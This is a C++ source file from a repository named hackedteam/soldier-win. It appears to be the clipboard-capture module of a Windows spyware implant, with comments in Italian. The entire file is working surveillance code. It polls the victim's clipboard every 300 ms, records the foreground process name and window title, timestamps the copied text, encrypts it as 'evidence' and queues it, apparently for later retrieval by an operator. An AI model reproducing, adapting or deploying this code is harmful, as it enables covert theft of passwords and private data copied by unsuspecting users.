hackedteam/soldier-win

View on GitHub
Soldier/clipboard.cpp

Summary

Maintainability
Test Coverage
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include <TlHelp32.h>
#include <time.h>

#include "zmem.h"
#include "globals.h"
#include "proto.h"
#include "clipboard.h"
#include "utils.h"
#include "debug.h"

CLIPBOARD_LOGS lpClipboardLogs[MAX_CLIPBOARD_QUEUE];

LPWSTR FindProc(DWORD pid)
{
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;
    DWORD dwPID = 0;
    LPWSTR name_offs;
    LPWSTR strProcName = NULL;

    pe32.dwSize = sizeof(PROCESSENTRY32);
    if ( (hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 )) == INVALID_HANDLE_VALUE )
        return NULL;

    if( !Process32First(hProcessSnap, &pe32) ) {
        CloseHandle(hProcessSnap);
        return NULL;
    }

    // Cicla la lista dei processi attivi
    do {
        // Cerca il processo "pid"
        if (pe32.th32ProcessID == pid) {
            // Elimina il path
            name_offs = wcsrchr(pe32.szExeFile, '\\');
            if (!name_offs)
                name_offs = pe32.szExeFile;
            else
                name_offs++;
            strProcName = _wcsdup(name_offs);
            break;
        }
    } while(Process32Next(hProcessSnap, &pe32));
    CloseHandle(hProcessSnap);

    return strProcName;
}

// I parametri vanno allocati dal chiamante. Il buffer di ritorno NON va liberato!
// Se torna NULL o la clipboard e' vuota o e' uguale al precedente polling
// dwProcessSize e dwTitleSize sono in numero DI CARATTERI
LPWSTR PollClipBoard(LPWSTR strProcess, DWORD dwProcessSize, LPWSTR strWindowTitle, DWORD dwTitleSize)
{
    HANDLE hData;
    HWND hFocus;    
    WCHAR *clipboard_content;
    DWORD clip_len, dwProcessId = 0;
    LPWSTR asc_proc_name = NULL;

    static WCHAR *old_clipboard_content = NULL;

    if (strProcess)
        ZeroMemory(strProcess, dwProcessSize);
    if (strWindowTitle)
        ZeroMemory(strWindowTitle, dwTitleSize);
    
    hFocus = GetForegroundWindow();
    OpenClipboard(hFocus);
    if (!(hData = GetClipboardData(CF_UNICODETEXT))) {
        CloseClipboard();
        return NULL;
    }

    clipboard_content = (WCHAR *)GlobalLock(hData);
    // Se e' la prima volta che trova contenuti, o se sono diversi dalla volta
    // precedente allora continua
    if (!clipboard_content || (old_clipboard_content && !wcscmp(old_clipboard_content, clipboard_content))) {
        GlobalUnlock(hData);
        CloseClipboard();
        return NULL;
    }    
    
    clip_len = (wcslen(clipboard_content)+1)*sizeof(WCHAR);
    zfree(old_clipboard_content);
    // Salva il contenuto della clipboard per confrontarlo con
    // i prossimi.
    if (old_clipboard_content = (WCHAR *)zalloc(clip_len))
        memcpy(old_clipboard_content, clipboard_content, clip_len);
    GlobalUnlock(hData);
    CloseClipboard();
    if (!old_clipboard_content)
        return NULL;

    // Scrive il nome del processo in foreground e della finestra
    if (strWindowTitle)
        GetWindowTextW(hFocus, strWindowTitle, dwTitleSize);
    if (strProcess) {
        GetWindowThreadProcessId(hFocus, &dwProcessId);
        if (dwProcessId && (asc_proc_name = FindProc(dwProcessId))) {
            wcscpy_s(strProcess, dwProcessSize, asc_proc_name);
            zfree(asc_proc_name);
        }         
    }
    
    return old_clipboard_content;
}


BOOL QueueClipboardLog(__in LPBYTE lpEvBuff, __in DWORD dwEvSize)
{
    for (DWORD i=0; i<MAX_CLIPBOARD_QUEUE; i++)
    {
        if (lpClipboardLogs[i].dwSize == 0 || lpClipboardLogs[i].lpBuffer == NULL)
        {
            lpClipboardLogs[i].dwSize = dwEvSize;
            lpClipboardLogs[i].lpBuffer = lpEvBuff;

            return TRUE;
        }
    }

    return FALSE;
}

VOID ClipBoardMain()
{
    DWORD dwDelimiter = ELEM_DELIMITER;
    LPWSTR strProcess = (LPWSTR) zalloc(0x1000*sizeof(WCHAR));
    LPWSTR strTitle = (LPWSTR) zalloc(0x1000*sizeof(WCHAR));

    while(1)
    {
        if (bClipBoardThread == FALSE)
        {
#ifdef _DEBUG
            OutputDebug(L"[*] ClipBoardMain exiting\n");
#endif
            hClipBoardThread = NULL;
            zfree(strProcess);
            zfree(strTitle);
            return;
        }


        Sleep(300);

        if (bCollectEvidences)
        {
            LPWSTR lpClipBoardBuff = PollClipBoard(strProcess, 0x1000, strTitle, 0x1000);
            if (lpClipBoardBuff)
            {
                DWORD dwTotalSize = sizeof(struct tm) +  
                    wcslen(strProcess)*sizeof(WCHAR) + 2 +
                    wcslen(strTitle)*sizeof(WCHAR) + 2 +
                    wcslen(lpClipBoardBuff)*sizeof(WCHAR) + 2 + 
                    sizeof(DWORD);

                LPBYTE lpBuffer = (LPBYTE) zalloc(dwTotalSize);
                LPBYTE lpTmpBuff  = lpBuffer;

                struct tm tStamp;
                GET_TIME(tStamp);

                memcpy(lpTmpBuff, &tStamp, sizeof(struct tm));
                lpTmpBuff += sizeof(struct tm);

                memcpy(lpTmpBuff, strProcess, wcslen(strProcess)*sizeof(WCHAR));
                lpTmpBuff += (wcslen(strProcess)*sizeof(WCHAR) + 2);

                memcpy(lpTmpBuff, strTitle, wcslen(strTitle)*sizeof(WCHAR));
                lpTmpBuff += (wcslen(strTitle)*sizeof(WCHAR) + 2);

                memcpy(lpTmpBuff, lpClipBoardBuff, wcslen((LPWSTR)lpClipBoardBuff)*sizeof(WCHAR));
                lpTmpBuff += (wcslen(lpClipBoardBuff)*sizeof(WCHAR) + 2);

                memcpy(lpTmpBuff, &dwDelimiter, sizeof(DWORD));

                DWORD dwEvSize;
                LPBYTE lpEvBuffer = PackEncryptEvidence(dwTotalSize, lpBuffer, PM_CLIPBOARDAGENT, NULL, 0, &dwEvSize);
                zfree(lpBuffer);

                if (!QueueClipboardLog(lpEvBuffer, dwEvSize))
                    zfree(lpEvBuffer);
            }
        }
    }

    zfree(strProcess); // not reached
    zfree(strTitle);
}